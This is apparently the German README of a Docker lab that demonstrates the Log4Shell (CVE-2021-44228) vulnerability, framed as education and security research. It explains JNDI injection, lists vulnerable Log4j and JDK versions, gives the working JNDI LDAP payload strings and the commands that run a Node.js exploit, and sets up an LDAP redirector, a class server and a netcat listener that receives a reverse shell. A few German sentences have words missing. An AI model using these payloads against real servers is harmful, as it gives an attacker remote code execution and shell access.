
Docker-basiertes Bildungslabor, das die Log4Shell (CVE-2021-44228) RCE-Ausnutzung mit einer verwundbaren Java-Anwendung, einem LDAP-Weiterleiter und einem automatisierten Exploit-Skript demonstriert.
DISCLAIMER
Dieses Labor wurde ausschließlich für Bildungs- und Sicherheitsforschungszwecke erstellt. Der gesamte Verkehr findet innerhalb eines isolierten Docker-Netzwerks statt. Verwenden Sie dieses Material nicht in realen Systemen oder ohne ausdrückliche Genehmigung. Missbrauch kann strafbar sein. Verwenden Sie es verantwortungsbewusst.
Log4Shell ist eine kritische Schwachstelle (CVSS 10.0), die im Dezember 2021 in der weit verbreiteten Java-Logging-Bibliothek Apache Log4j 2 entdeckt wurde.
Log4j verfügt über eine Funktion zur Interpolation von Ausdrücken: Beim Protokollieren einer Nachricht wertet es Strings im Format ${...} aus. Beispielsweise wird ${java:version} durch die Java-Version zur Laufzeit ersetzt.
Das Problem liegt in der Unterstützung des JNDI-Protokolls (Java Naming and Directory Interface). Wenn Log4j auf einen Ausdruck wie
${jndi:ldap://angreifer.com/exploit}
trifft, weist es die JVM an, eine durchzuführen. Der Server antwortet mit einem Verweis auf eine entfernte Java-Klasse – und die JVM , was zu führt.
Der Angriffsvektor ist einfach: Jedes Feld, das vom Server protokolliert wird (HTTP-Header, Formularfelder, Cookies usw.), kann der Einstiegspunkt für die Payload sein.
2.0-beta9 bis 2.14.12.15.0 (und endgültig in 2.17.0)Das Lab simuliert eine reale Java-Anwendung unter Verwendung der verwundbaren Versionen.
| Komponente | Version | Warum ist es verwundbar |
|---|---|---|
| Apache Log4j | 2.14.1 | Wertet ${jndi:...} ohne Einschränkungen aus |
| JDK | 1.8.0_181 | Vor dem Patch 8u191, der trustURLCodebase=false setzt |
| Spring Boot | 2.5.6 | Nur das Web-Framework; die Schwachstelle liegt in Log4j |
GET http://localhost:8080/log
Die folgenden Header werden direkt von Log4j protokolliert – jeder von ihnen kann der Injektionsvektor sein:
X-Api-VersionUser-AgentX-Auth-Tokenattacker)| Dienst | Port | Funktion |
|---|---|---|
| marshalsec (LDAP) | 1389 | Empfängt den JNDI-Lookup und leitet an den HTTP-Server weiter |
| Python HTTP-Server | 8888 | Liefert die Exploit.class an die JVM des Opfers |
| netcat-Listener | 9001 | Empfängt die Reverse-Shell-Verbindung |
docker-compose up --build
Warten Sie, bis in den Logs Folgendes erscheint:
[*] Waiting for reverse shell on :9001 ...
Started Application in X seconds
Öffnen Sie ein weiteres Terminal und führen Sie den Node.js-Exploit aus:
node exploit/exploit.js
Erwartete Ausgabe:
[*] CVE-2021-44228 — Log4Shell PoC
[*] Target : http://localhost:8080/log
[*] Header : X-Api-Version
[*] Payload : ${jndi:ldap://attacker:1389/Exploit}
[+] Response : 200 OK
[+] Body : logged
[+] Payload delivered — check the attacker nc listener on port 9001
Beobachten Sie das Terminal, in dem docker-compose läuft. In den Logs des Containers attacker sehen Sie die eingehende Reverse-Shell-Verbindung auf Port 9001.
Um das touch /tmp/pwned innerhalb der verwundbaren App zu bestätigen:
docker exec -it log4j-cve-2021-44228-vulnerable-app-1 ls /tmp/pwned
# node exploit/exploit.js [target] [ldapHost] [ldapPort] [className] [header]
node exploit/exploit.js http://localhost:8080/log attacker 1389 Exploit "User-Agent"
By Guaxinim | Cyber Security Research